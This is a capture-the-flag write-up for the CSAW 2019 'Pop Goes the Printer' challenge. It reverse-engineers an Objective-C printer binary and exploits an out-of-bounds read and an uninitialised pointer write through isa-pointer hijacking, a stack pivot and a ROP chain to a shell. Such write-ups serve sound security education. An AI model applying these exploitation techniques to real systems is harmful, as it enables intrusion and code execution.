Pop Goes the Printer was a 500 point pwn challenge from CSAW CTF Quals 2019. It was a fairly large binary framed as real printer software. The bugs felt accidental, and much of the code was irrelevant to the exploitation process, making it feel a lot more like a real-world target than a pwnable. RPISEC was the only solve for this challenge.

Provided was a binary called pgtp, a bunch of libraries and a Dockerfile. The binary was, from the challenge description, “totally not based on printer software that a lot of universities use that is buggy af”. To replicate the remote environment as much as possible, we were intended to run the challenge in a Docker container. I put more information on my setup at the end of the post.

Reverse Engineering

After opening up the binary in IDA, I quickly noticed that the binary contains Objective-C code. Time for an Objective-C Primer!

An Objective-C Primer

This is a brief introduction with information relevant to the challenge. For further reading, I recommend this article.

In Objective-C, objects have an isa pointer as the first member of their struct. It points to class data, which includes a mapping of selectors (SELs) to their corresponding method pointers. To look up a method, you call the objc_msg_lookup function, which accepts an object or class, and a SEL. In practice, a SEL is usually a char*, as in this case. So, whenever you see objc_msg_lookup, its just a method call, and the second argument is the method name.

This setup uses gnustep, Linux’s Objective-C implementation, which differs somewhat from MacOS. For example, in gnustep, calls to the function objc_get_class take in a char* class name, and return a pointer to that class. On MacOS, classes are lazily resolved external symbols, so you don’t need to call objc_get_class.

A final note about syntax in Objective-C, if you see

[someObject someMethodName: arg]

this is like writing

someObject.someMethodName(arg)

in other languages. I’ll be writing some Objective-C pseudo-code.

Binary Overview

There are quite a few functions and objects to keep track of in the program. I’ve created this diagram that shows the simplified object hierarchy next to a simplified function call graph. They are aligned such that each object is next to the function that allocates it. The rest of the section goes into detail about these elements.

  ################                               ###################
  # Object Graph #                               #  Function Graph #
  ################                               ###################

                                                     +------+
+-----------------+                                  | main |
| PGPPrintManager |                                  +---+--+
| - - - - - - - - |                                      |
|  _jobSecurity   |                       +--------------+---------------+
|  _printJobs[] --------+                 | [PGPPrintManager getNextJob] |
+-----------------+     |                 +--------------+---------------+
                        |                                |
                        |                                |
  +-------------+       |                                |
  | PGPPrintJob + <-----+                                V
  | - - - - - - |                        +---------------+------------------+
  |   _objs[] ----------+                | [PGPrintJob parseNetworkPacket:] |
  +-------------+       |                +---------------+------------------+
  | PGPPrintJob |       |                                |
  | - - - - - - |       |                                |
  +-------------+       |                                |
  |     ...     |       |                                |
  +-------------+       |                                |
                        |                                |
                        |                                V
   +-----------+        |               +----------------+-------------------+
   | PGPObject + <------+               | [PGPObjectV2 parseObjectFromData:] |
   +-----------+                        +----------------+-------------------+
   |    ...    |                                         |
   +-----------+                                         |
                                                         |
                                                         |
             global                                      V
+---------------------------------+            +----------------+
| pgp_object_config object_config |            | setup_config() |
+---------------------------------+            +----------------+

The main function is fairly simple, the important part is

PGPPrintManager* manager = [[PGPPrintManager alloc] init];
[manager sendGreetz];
while (1)
{
    [manager getNextJob];
}

The -[PGPPrintManager getNextJob] method reads in data from the user, allocates a new PGPPrintJob object, and parses it from the user data with the method -[PGPPrintJob parseNetworkPacket:NSData*]. If the user input was valid, it does some further checks and commands.

The -[PGPPrintJob parseNetworkPacket:NSData*] method parses the user data, doing checks to ensure that it is in a correct format. The format it expects to parse is

+-------------------------+-------+
|           Value         | bytes |
+-------------------------+-------+
| “PGPB” constant string  |   4   |
+-------------------------+-------+
| Version number (1 or 2) |   2   |
+-------------------------+-------+
|    Challenge solution   |   8   |
+-------------------------+-------+
|      Command bits       |   1   |
+-------------------------+-------+
|    Number of objects    |   2   |
+-------------------------+-------+
|     Array of objects    |  N.A  |
+-------------------------+-------+

It reads these values in, and sets the corresponding members of the PGPPrintJob. Next, it reads in the specified number of objects. The version number controls whether the objects are version 1 or version 2 (different subclasses), and spoiler alert, I didn’t use version 1 for anything.

Something to note, these parsing methods make heavy use of a class called CCHBinaryDataReader, which comes from a custom library. The CCHBinaryDataReader object wraps the user data, providing an easy interface to it. The first lines of -[PGPPrintJob parseNetworkPacket:NSData*] use the option CCHBinaryDataReaderBigEndian. Our data is parsed as big-endian, which is something to keep in mind when sending in data.

First Bug

The version 2 objects are parsed using the -[PGPObjectV2 parseObjectFromData:CCHBinaryDataReader*] method. Here is the pseudocode I gathered from the disassembly:

- (NSInteger) parseObjectFromData:(CCHBinaryDataReader*) binaryReader {
    pgp_object_config config = [PGPObject object_config];
    bool valid_config = is_valid_config(config);
    uint8_t should_setup_config = [binaryReader readUnsignedChar];
    self->_type = [binaryReader readUnsignedChar];
    switch(self->_type)
    {
        case 1:
        case 2:
            self->data = [binaryReader readDataWithNumberOfBytes: 2];
            goto SETUP_CONFIG;
            ...
        case 9:
            uint8_t color = [binaryReader readUnsignedChar];
            if (valid_config && config.type == 2)
            {
                // no bounds check on user-supplied value!
                color_bytes = config.vals[color];
                self->data = [NSMutableData dataWithBytes: &color_bytes length: 5];
            }
    SETUP_CONFIG:
            switch(should_setup_config)
            {
                case 1:
                    ...
                case 3:
                    setup_config(binaryReader, 0);
                    break;
            } 
        ...
    }
    ...
}

I’ve hidden the unimportant parts of the code. The switch statement on self->_type has a bunch of cases, but we only care about case 9, or case PGPCOLOR. It reads in a byte color from the user data, and then uses it to directly index into an array, copying 5 bytes of that to its data! We can get the program to print this data, so this could provide us a leak.

First lets figure out what this config object is. At the top of the function, its set with a call to +[PGPObject object_config], which just returns a global pgp_object_config called object_config.

How do we control object_config? If you will, direct your attention to the second switch statement. Depending on the value we put for should_setup_config, it calls the setup_config(CCHBinaryDataReader*) function. I just put 3, because it was the simplest case. Lets take a look at setup_config(CCHBinaryDataReader*). Here is the pseudocode I gathered from the disassembly:

int setup_config(CCHBinaryDataReader* binaryReader) {
    uint64_t* new_config;
    uint64_t group_size = 0;
    to_copy = [binaryReader readUnsignedChar];
    if (to_copy > 8)
    {
        return -1;
    }
    // Here, we can control the type
    object_config.type = [binaryReader readUnsignedChar];
    if (object_config.type > 5)
    {
        return -1;
    }
    switch (object_config.type)
    {
        case 1:
            group_size = 1;
            new_config = calloc(to_copy + 1, 8);
            break;
        case 2:
            group_size = 5;
            new_config = calloc(to_copy + 1, 8);
            memset(new_config, -1, 8);
            break;
        case 3:
            group_size = 4;
            new_config = calloc(to_copy + 1, 8);
            break;
        // What about object_config.type == (4 or 5)?!
        default:
            group_size = 8;
    }
    if (!object_config.type)
    {
        return -1;
    }

    NSMutableData* data = [binaryReader readDataWithNumberOfBytes: to_copy * group_size];
    for (int i = 0; i < to_copy; i++)
    {
        // new_config is an array of uint64_t, and the max group size is 8.
        NSRange range = NSMakeRange(group_size * i, group_size);
        [data getBytes: (new_config + i) range: range];
    }
    object_config.count = count;
    free(object_config.vals);
    // Here, object_config.vals is set to a heap pointer!
    object_config.vals = new_config;

    return 0;
}

It reads in a to_copy value and the global object_config’s new type. Based on that type, it initializes group_size and sets new_config to some callocd data. Then, it effectively reads data from the user into new_config, and sets config.vals to new_config. So config.vals is a heap pointer, and we can use that out-of-bounds read to leak information from the heap! All we have to do is setup object_config to have type 2.

Second Bug

I have some good news. The next bug is right in front of us. Lets take another look at setup_config(CCHBinaryDataReader*). We know object_config.type must be between 1 and 5, but the switch statement has no cases for 4 and 5! Those values fall to default, and new_config never gets initialized to anything. Whatever is already on the stack previously is the address that will be written to.

Leak

As we saw, to get a leak, we need to send in a PGPPrintJob with version 2 objects. We need one object of any type to trigger setup_config() so the object_config.type == 2 and object_config.vals is a heap pointer. We need another object with type 9 to trigger the out-of-bounds read of the heap data after object_config.vals.

Using my first object, I sent in "FFFFFFFFFFFFFFFFFFFF" to fill the new object_config.vals buffer. I used GDB to examine memory around the object_config.vals buffer for good leak locations.

gdb-peda$ x/20xg $rax
0xfc5060:	0x0000004646464646	0x0000004646464646
0xfc5070:	0x0000004646464646	0x0000004646464646
0xfc5080:	0x0000000000000000	0x0000000000000051
0xfc5090:	0x0000000000000000	0x0000000000000000
0xfc50a0:	0x00007f454f75c000	0x0000000000000014
0xfc50b0:	0x0000000000f25460	0x0000000000000000
0xfc50c0:	0x00007f454f7f9700	0x0000000000000014
0xfc50d0:	0x000000000000000a	0x0000000000000071
0xfc50e0:	0x0000000000000000	0x0000000000000000
0xfc50f0:	0x00000000deadface	0x0000000000000000

I set to_copy to 4, and object_config.type case 2 initializes group_size to 5, which explains the 4 QWORDs with their lower 5 bytes set to 0x46 ("F"). The 8th QWORD from the beginning of the buffer (address 0xfc50a0) contains an address from libgnustep-base.

gdb-peda$ vmmap 0x00007f454f75c000
Start              End                Perm	Name
0x00007f454f719000 0x00007f454f82b000 rw-p	/home/pgtp/libs/libgnustep-base.so.1.25

After running the program a few times, the offset from this address to the beginning of libc never changes, so we can use this address to determine the address of libc.

gdb-peda$ vmmap libc
Start              End                Perm	Name
0x00007f454e329000 0x00007f454e4ca000 r-xp	/home/pgtp/libs/libc.so.6
0x00007f454e4ca000 0x00007f454e6ca000 ---p	/home/pgtp/libs/libc.so.6
0x00007f454e6ca000 0x00007f454e6ce000 r--p	/home/pgtp/libs/libc.so.6
0x00007f454e6ce000 0x00007f454e6d0000 rw-p	/home/pgtp/libs/libc.so.6
gdb-peda$ dist 0x00007f454e329000 0x00007f454f719000
From 0x7f454e329000 to 0x7f454f719000: 20905984 bytes, 5226496 dwords

Using a color index of 8 for my second object successfully leaked that address. It only leaks the first 5 bytes, however the upper 3 bytes of libraries are usually 0x00007f, so we can assemble the full address ourselves. We can use this same technique to get a heap leak.

Its worth mentioning that my leak did not initially show the same address when running on the remote instance. When I did a heap scan (leaking various offsets from object_config.vals), the heap layout looked fairly different. My hunch was that, with all the objects getting freed / reallocated, different chunks in different spots were getting reused. To fix the problem, I allocated a bunch of objects before attempting to get a leak. I verified that this worked by doing another heap scan, and comparing the results:

fzzyhd@fzzyhd: heap-scan.py             fzzyhd@fzzyhd: heap-scan.py remote
[*] heap @ 3 = 0x4242424242             [*] heap @ 3 = 0x4242424242
[*] heap @ 4 = 0x0                      [*] heap @ 4 = 0x0
[*] heap @ 5 = 0x51                     [*] heap @ 5 = 0x51
[*] heap @ 6 = 0x0                      [*] heap @ 6 = 0x0
[*] heap @ 7 = 0x0                      [*] heap @ 7 = 0x0
[*] heap @ 8 = 0xe7bbeb5000             [*] heap @ 8 = 0x67b44a000
[*] heap @ 9 = 0x14                     [*] heap @ 9 = 0x14
[*] heap @ 10 = 0x16f1460               [*] heap @ 10 = 0x2138480
[*] heap @ 11 = 0x0                     [*] heap @ 11 = 0x0
[*] heap @ 12 = 0x7ad5f58700            [*] heap @ 12 = 0xa346757700
[*] heap @ 13 = 0x14                    [*] heap @ 13 = 0x14
[*] heap @ 14 = 0xa                     [*] heap @ 14 = 0xa

Even though the addresses are different, the overall positioning / layout seems identical.

Exploit

To trigger the uninitialized memory bug, we send in an object that sets object_config.type to 4 or 5. Note that the group_size then defaults to 8. I set to_copy to 8, so I could write 64*"A"s to whatever pointer happened to be on the stack, overwriting as much data as possible and increasing the chances of a crash. After sending in that object, the program didn’t immediately crash, but after sending in another object:

[----------------------------------registers-----------------------------------]
RAX: 0x400000065
RBX: 0x10d6a80 ('A' <repeats 64 times>)
RCX: 0x10c6ac0 --> 0x1009ea0 --> 0x0
RDX: 0x404b7a (<+[PGPObjectV2 apiVersion]>:	push   rbp)
RSI: 0x60ad20 --> 0x400000065
RDI: 0x10d6a80 ('A' <repeats 64 times>)
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffc53d19810 --> 0x8
RIP: 0x7ff56a863bf9 (<objc_msg_lookup+25>:	mov    rdx,QWORD PTR [rbp+0x40])
R8 : 0xb ('\x0b')
R9 : 0x1009160 --> 0x0
R10: 0x60a8f1 ("PGPObjectV2")
R11: 0x246
R12: 0x7ff56b1a9080 --> 0x7ff56b1a8e00 --> 0x7ff56aa6df80 (0x00007ff56aa6df80)
R13: 0x40156b (<-[CCHBinaryDataReader initWithData:options:]>:	push   rbp)
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ff56a863bef <objc_msg_lookup+15>:	sub    rsp,0x8
   0x7ff56a863bf3 <objc_msg_lookup+19>:	mov    rbp,QWORD PTR [rdi]
   0x7ff56a863bf6 <objc_msg_lookup+22>:	mov    rax,QWORD PTR [rsi]
=> 0x7ff56a863bf9 <objc_msg_lookup+25>:	mov    rdx,QWORD PTR [rbp+0x40]
   0x7ff56a863bfd <objc_msg_lookup+29>:	mov    ecx,eax
   0x7ff56a863bff <objc_msg_lookup+31>:	mov    r8,rax
   0x7ff56a863c02 <objc_msg_lookup+34>:	shl    ecx,0x5
   0x7ff56a863c05 <objc_msg_lookup+37>:	shr    r8,0x20
[------------------------------------stack-------------------------------------]
0000| 0x7ffc53d19810 --> 0x8
0008| 0x7ffc53d19818 --> 0x10d6a80 ('A' <repeats 64 times>)
0016| 0x7ffc53d19820 --> 0x7ffc53d198c0 --> 0x7ffc53d19940 --> 0x7ffc53d19990 --> 0x7ffc53d199d0 --> 0x0
0024| 0x7ffc53d19828 --> 0x7ff56b1a9080 --> 0x7ff56b1a8e00 --> 0x7ff56aa6df80 (0x00007ff56aa6df80)
0032| 0x7ffc53d19830 --> 0x40156b (<-[CCHBinaryDataReader initWithData:options:]>:	push   rbp)
0040| 0x7ffc53d19838 --> 0x0
0048| 0x7ffc53d19840 --> 0x0
0056| 0x7ffc53d19848 --> 0x404c2f (<-[PGPObjectV2 parseObjectFromData:]+162>:	)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGBUS
0x00007ff56a863bf9 in objc_msg_lookup () from /home/pgtp/libs/libobjc.so.4
gdb-peda$

We have control over RBP, which is a bit strange, but I’m not complaining. The function we are crashing in is objc_msg_lookup, which is used to lookup object methods. Here is the disassembly of the beginning of this function:

.text:000000000000FBE0                 test    rdi, rdi
.text:000000000000FBE3                 jz      short loc_FC40
.text:000000000000FBE5                 push    r15
.text:000000000000FBE7                 push    r14
.text:000000000000FBE9                 push    r13
.text:000000000000FBEB                 push    r12
.text:000000000000FBED                 push    rbp
.text:000000000000FBEE                 push    rbx
.text:000000000000FBEF                 sub     rsp, 8
.text:000000000000FBF3                 mov     rbp, [rdi]
.text:000000000000FBF6                 mov     rax, [rsi]
.text:000000000000FBF9                 mov     rdx, [rbp+40h]
.text:000000000000FBFD                 mov     ecx, eax

This function doesn’t use RBP as a base pointer, but as a general purpose register. The first argument to this function (RDI) is the object on which to do the method lookup. RDI is dereferenced to load the object’s isa pointer into RBP. It looks like we are overwriting some object’s isa pointer with "A"s, and the program only crashes later on, when that object is used again.

So we control an object’s isa pointer in the function that finds and returns a specified object method. That sounds like an awfully good setup. Here is some pseudocode for the function:

void* objc_msg_lookup(uint64_t* object, char* selector)
{
    uint64_t* isa_we_control = *object;
    uint64_t* object_we_control = *(isa_we_control + 64);
    uint64_t something = (*selector >> 32) + 32 * *selector;
                    // we want this to be small
    if (something < *(object_we_control + 40))
    {
        ...
    }
    else
    {
        // goal
        return **(object_we_control + 8);
    }
    ...
}

Looks like if we allocate and setup objects correctly, we can return an arbitrary function pointer. Based on this code, we want an overall structure that looks something like this:

            object
    +--------------------+
    | 0x4141414141414141 |
    +----------+---------+
               |
               |
               V                         object_we_control
        isa_we_control                +--------------------+
    +----------+---------+   +--> +00 |                    |
+00 |   doesn't matter   |   |        +--------------------+     +--------------------+
    +--------------------+   |    +08 | 0x4343434343434343 + --> |                    |
+08 |         ...        |   |        +--------------------+     +----------+---------+
    +--------------------+   |    +16 |                    |                |
+16 |         ...        |   |        +--------------------+                V
    +--------------------+   |    +24 |                    |      some function pointer
... |         ...        |   |        +--------------------+     +--------------------+
    +--------------------+   |    +32 |                    |     | 0x4444444444444444 |
+64 | 0x4242424242424242 + --+        +--------------------+     +--------------------+
    +--------------------+        +40 |    small number    |
                                      +--------------------+

(Note, in this diagram, I’ve used 0x4141414141414141, etc. as stand-ins for real pointers)

We know how to make raw callocations in the setup_config function, which is what I decided to use for this. There are a couple of other spots where our data is placed on the heap, and those are likely useable as well. The small number just has to be small enough that we fail the first if check, and fall to the else code (// goal).

Once we have this object setup, objc_msg_lookup should be returning the function pointer we specified (0x4444444444444444 in the diagram). Lets take a look at what happens when we, literally, just set it to 0x4444444444444444.

[----------------------------------registers-----------------------------------]
RAX: 0x4444444444444444 ('DDDDDDDD')
RBX: 0x11eba80 --> 0x11eaa60 --> 0x7fecae3f0700 --> 0x7fecadf701d8 (<default_malloc>:	push   rbp)
RCX: 0xca4
RDX: 0x11eaad0 ("AAAAAAAA\300\346\036\001")
RSI: 0x60ad20 --> 0x400000065
RDI: 0x11eba80 --> 0x11eaa60 --> 0x7fecae3f0700 --> 0x7fecadf701d8 (<default_malloc>:	push   rbp)
RBP: 0x7ffc73cb59d0 --> 0x7ffc73cb5a50 --> 0x7ffc73cb5aa0 --> 0x7ffc73cb5ae0 --> 0x0
RSP: 0x7ffc73cb5960 --> 0x40156b (<-[CCHBinaryDataReader initWithData:options:]>:	push   rbp)
RIP: 0x404c39 (<-[PGPObjectV2 parseObjectFromData:]+172>:	call   rax)
R8 : 0x4
R9 : 0x111e160 --> 0x0
R10: 0x60a8f1 ("PGPObjectV2")
R11: 0x246
R12: 0x7fecae354080 --> 0x7fecae353e00 --> 0x7fecadc18f80 (0x00007fecadc18f80)
R13: 0x40156b (<-[CCHBinaryDataReader initWithData:options:]>:	push   rbp)
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x404c2a <-[PGPObjectV2 parseObjectFromData:]+157>:
    call   0x401340 <objc_msg_lookup@plt>
   0x404c2f <-[PGPObjectV2 parseObjectFromData:]+162>:
    lea    rsi,[rip+0x2060ea]        # 0x60ad20 <_OBJC_SELECTOR_TABLE+32>
   0x404c36 <-[PGPObjectV2 parseObjectFromData:]+169>:	mov    rdi,rbx
=> 0x404c39 <-[PGPObjectV2 parseObjectFromData:]+172>:	call   rax
   0x404c3b <-[PGPObjectV2 parseObjectFromData:]+174>:	movzx  edx,al
   0x404c3e <-[PGPObjectV2 parseObjectFromData:]+177>:	mov    rax,QWORD PTR [rbp-0x58]
   0x404c42 <-[PGPObjectV2 parseObjectFromData:]+181>:	mov    QWORD PTR [rax+0x10],rdx
   0x404c46 <-[PGPObjectV2 parseObjectFromData:]+185>:	mov    rbx,QWORD PTR [rbp-0x68]
Guessed arguments:
arg[0]: 0x11eba80 --> 0x11eaa60 --> 0x7fecae3f0700 --> 0x7fecadf701d8 (<default_malloc>:	push   rbp)
arg[1]: 0x60ad20 --> 0x400000065
arg[2]: 0x11eaad0 ("AAAAAAAA\300\346\036\001")
[------------------------------------stack-------------------------------------]
0000| 0x7ffc73cb5960 --> 0x40156b (<-[CCHBinaryDataReader initWithData:options:]>:	push   rbp)
0008| 0x7ffc73cb5968 --> 0x11eba80 --> 0x11eaa60 --> 0x7fecae3f0700 --> 0x7fecadf701d8 (<default_malloc>:	push   rbp)
0016| 0x7ffc73cb5970 --> 0x609310 --> 0xd00000065 ('e')
0024| 0x7ffc73cb5978 --> 0x11edf10 --> 0x608780 --> 0x608600 --> 0x7fecadc18f80 (0x00007fecadc18f80)
0032| 0x7ffc73cb5980 --> 0x11edf10 --> 0x608780 --> 0x608600 --> 0x7fecadc18f80 (0x00007fecadc18f80)
0040| 0x7ffc73cb5988 --> 0x7ffc73cb59d0 --> 0x7ffc73cb5a50 --> 0x7ffc73cb5aa0 --> 0x7ffc73cb5ae0 --> 0x0
0048| 0x7ffc73cb5990 --> 0x804
0056| 0x7ffc73cb5998 --> 0x11eba80 --> 0x11eaa60 --> 0x7fecae3f0700 --> 0x7fecadf701d8 (<default_malloc>:	push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV

So, as we could anticipate, its trying to call the returned function, which we’ve set to 0x4444444444444444. Additionally, it appears that RDX points to some data we control (hence the AAAAA....). In fact, the chunk labeled (object_we_control) in the diagram is what RDX points too.

I was able to get one_gadget to work locally, but not remotely. However, when I sent in a simple ret gadget, the program did not crash remotely, which verified to me that our leaks and everything were working as intended.
Eventually, I decided to pivot the stack to RDX and ROP from there. I ended up finding the following gadget:

0x000000000018dbd1 : push rdx ; cmc ; jmp qword ptr [rdx]

Using this gadget, we can push RDX onto the stack, and then jump to the address pointed to by RDX. Right now, thats 0x4141414141414141, but we can set that to another gadget. We have pushed the address of RDX on the stack, so we want to pop that into RSP. Once we’ve pushed RDX and popped it into RSP, the address in RDX becomes our new stack. The first two QWORDs at RDX are the gadget we just called, and a heap pointer (refer to the diagram below for reference). So we also want to pop those two off our new stack, and then we can ROP. I chose to use this gadget.

0x0000000000024121 : pop rsp ; pop r13 ; pop r14 ; ret

And here is a modified memory diagram from above.

            object_we_control (RDX)
         +-----------------------------------+
+--> +00 | pop rsp ; pop r13 ; pop r14 ; ret |
|        +-----------------------------------+     +--------------------------------------+
|    +08 |         0x4343434343434343        + --> |                                      |
|        +-----------------------------------+     +-------------------+------------------+
|    +16 |           pop rdi ; ret           |                         |
|        +-----------------------------------+                         V
|    +24 |             "/bin/sh"             |               some function pointer
|        +-----------------------------------+     +--------------------------------------+
|    +32 |              system()             |     | push rdx ; cmc ; jmp qword ptr [rdx] |
+        +-----------------------------------+     +--------------------------------------+
     +40 |         some small number         |
         +-----------------------------------+

Running the final exploit:

fzzyhd@fzzyhd:> python exploit.py remote
[+] Opening connection to pwn.chal.csaw.io on port 1000: Done
[*] Challenge == 7749363893351949254 == 7749363893351949254
[*] libc @ 0x7fecacf20000
[*] heap address @ 0x11ee6c0
[*] Switching to interactive mode
bro$ cat flag.txt
flag{1_0bjective_s3e_wh4t_y0u_d1d_ther3}
$ ls
flag.txt
libs
pgtp

And there we have it, a piping hot flag!

Conclusion

This challenge was a lot of fun to complete, especially because it felt very real-world. I had a lot of fun piecing together information about the binary in the reverse engineering process. The bugs were also very interesting and required a lot of interaction to get the program to a useful state. The small differences between my local setup and the remote setup (for example, the differences in heap-layout) were an interesting challenge to overcome.

Setup

For those unfamiliar with Docker, the setup process is fairly straightforward. You just navigate to your folder with the provided files, and run

docker build -t pgtp .

Next, you can run the container using

docker run -it -p28201:28201 --name=pgtp pgtp

The -p flag just forwards localhost:PORTNO to your running Docker container. You may also need to create a dummy flag.txt, as the Dockerfile expects one. By default, the Dockerfile runs the same configuration as the remote server. I made a few changes. The last line of the Dockerfile contains the command that spawns a new pgtp process for each incoming connection:

CMD su pgtp -c "socat -T10 TCP-LISTEN:28201,reuseaddr,fork EXEC:/home/pgtp/pgtp"

The flag -T10 sets a timeout of 10 seconds. I deleted this for local development, so I could experiment freely by hand.

Next, I installed GDB, along with the peda plugin, directly in the container:

RUN apt-get install -y gdb 
RUN apt-get install -y git
RUN git clone https://github.com/longld/peda.git ~/peda
RUN echo "source ~/peda/peda.py" >> ~/.gdbinit

Then, after starting my container, in a separate pane, I connected to the container again using

docker exec -it pgtp bash

Finally, to allow GDB inside the container to attach to processes, I added the following flags to docker run:

docker run -it -p28201:28201 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=pgtp pgtp

My exploit script would connect to localhost:28201, and then tell the gdb pane to attach to the running process. I personally use Tmux, and the libtmux python library, to automate a lot of this stuff, but to each their own.